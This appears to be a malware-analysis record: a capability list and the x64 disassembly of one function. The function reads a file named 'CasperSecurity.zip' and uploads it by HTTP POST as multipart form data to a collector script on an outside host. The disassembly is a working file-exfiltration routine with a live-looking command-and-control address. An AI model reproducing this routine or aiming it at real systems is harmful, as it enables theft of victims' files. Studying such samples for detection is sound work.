Function at 0x14000b7a4
Capabilities:
Connect to http server
Create http request
Get file size
Read and send data from client to server
Read data from internet
Read file on windows
Receive data
Send data
Send http request

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
mov qword [rax + 0x20], r12
push rbp
push r13
push r14
lea rbp, [rax - 0x798]
sub rsp, 0x880
mov rax, qword [0x14004a490]
xor rax, rsp
mov qword [rbp + 0x770], rax
xor ebx, ebx
lea rcx, str.CasperSecurity.zip
xor r9d, r9d
mov qword [rsp + 0x30], rbx
lea esi, [rbx + 1]
lea r12d, [rbx + 3]
mov edx, 0x80000000
mov r8d, esi
mov dword [rsp + 0x28], ebx
mov dword [rsp + 0x20], r12d
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov r13, rax
cmp rax, 0xffffffffffffffff
jne 0x14000b81a
or eax, eax
jmp 0x14000b9da
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetFileSize]
xor edx, edx
lea rcx, [rsp + 0x49]
lea r8d, [rdx + 0x27]
mov r14d, eax
mov byte [rsp + 0x48], bl
call fcn.14001fcd0
lea rcx, [rsp + 0x48]
call fcn.140014804
lea r9, [rsp + 0x48]
lea r8, [0x14003ee34]
lea rdx, str.______7d82751e2bc0858_r_nContent_Disposition:_form_data__name__s___filename__s__r_nContent_Type:_application_octet_stream_r_nContent_Transfer_Encoding:_binary_r_n_r_n
lea rcx, [rsp + 0x70]
call qword [sym.imp.USER32.dll_wsprintfA]
mov edi, 0x1388
lea rcx, str.Diamotrix
xor r9d, r9d
xor r8d, r8d
mov edx, esi
mov dword [rsp + 0x20], ebx
call qword [sym.imp.WININET.dll_InternetOpenW]
test rax, rax
jne 0x14000b891
mov ecx, edi
call qword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x14000b869
mov qword [rsp + 0x38], rbx
mov dword [rsp + 0x30], ebx
lea rdx, str.4382.bimmobil.xyz
mov r8d, 0x50
xor r9d, r9d
mov rcx, rax
mov dword [rsp + 0x28], r12d
mov qword [rsp + 0x20], rbx
call qword [sym.imp.WININET.dll_InternetConnectW]
test rax, rax
je 0x14000b887
mov qword [rsp + 0x38], rbx
mov dword [rsp + 0x30], ebx
lea r8, str._play_Collector.php
lea rdx, str.POST
xor r9d, r9d
mov rcx, rax
mov qword [rsp + 0x28], rbx
mov qword [rsp + 0x20], rbx
call qword [sym.imp.WININET.dll_HttpOpenRequestW]
lea rcx, str._r_n______7d82751e2bc0858___r_n
mov r12, rax
call qword [sym.imp.KERNEL32.dll_lstrlenA]
lea rcx, [rsp + 0x70]
lea esi, [r14 + rax]
call qword [sym.imp.KERNEL32.dll_lstrlenA]
add esi, eax
mov ecx, esi
call fcn.14001ec40
lea rcx, [rsp + 0x70]
mov rdi, rax
call qword [sym.imp.KERNEL32.dll_lstrlenA]
lea rdx, [rsp + 0x70]
movsxd r8, eax
mov rcx, rdi
call fcn.14001ceb0
lea rcx, [rsp + 0x70]
call qword [sym.imp.KERNEL32.dll_lstrlenA]
and qword [rsp + 0x20], rbx
lea r9, [rsp + 0x40]
movsxd rdx, eax
mov r8d, r14d
mov rcx, r13
add rdx, rdi
call qword [sym.imp.KERNEL32.dll_ReadFile]
lea rcx, str._r_n______7d82751e2bc0858___r_n
call qword [sym.imp.KERNEL32.dll_lstrlenA]
lea rcx, [rsp + 0x70]
movsxd rbx, eax
call qword [sym.imp.KERNEL32.dll_lstrlenA]
lea rdx, str._r_n______7d82751e2bc0858___r_n
lea ecx, [r14 + rax]
mov r8, rbx
add rcx, rdi
call fcn.14001ceb0
lea rcx, str.Content_Type:_multipart_form_data__boundary____7d82751e2bc0858
call qword [sym.imp.KERNEL32.dll_lstrlenA]
lea rdx, str.Content_Type:_multipart_form_data__boundary____7d82751e2bc0858
mov r9, rdi
mov rcx, r12
mov r8d, eax
mov dword [rsp + 0x20], esi
call qword [sym.imp.WININET.dll_HttpSendRequestA]
lea r9, [rsp + 0x44]
lea rdx, [rbp + 0x370]
mov r8d, 0x400
mov rcx, r12
call qword [sym.imp.WININET.dll_InternetReadFile]
mov rcx, r13
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
mov rcx, qword [rbp + 0x770]
xor rcx, rsp
call fcn.14001cb70
lea r11, [rsp + 0x880]
mov rbx, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rdi, qword [r11 + 0x30]
mov r12, qword [r11 + 0x38]
mov rsp, r11
pop r14
pop r13
pop rbp
ret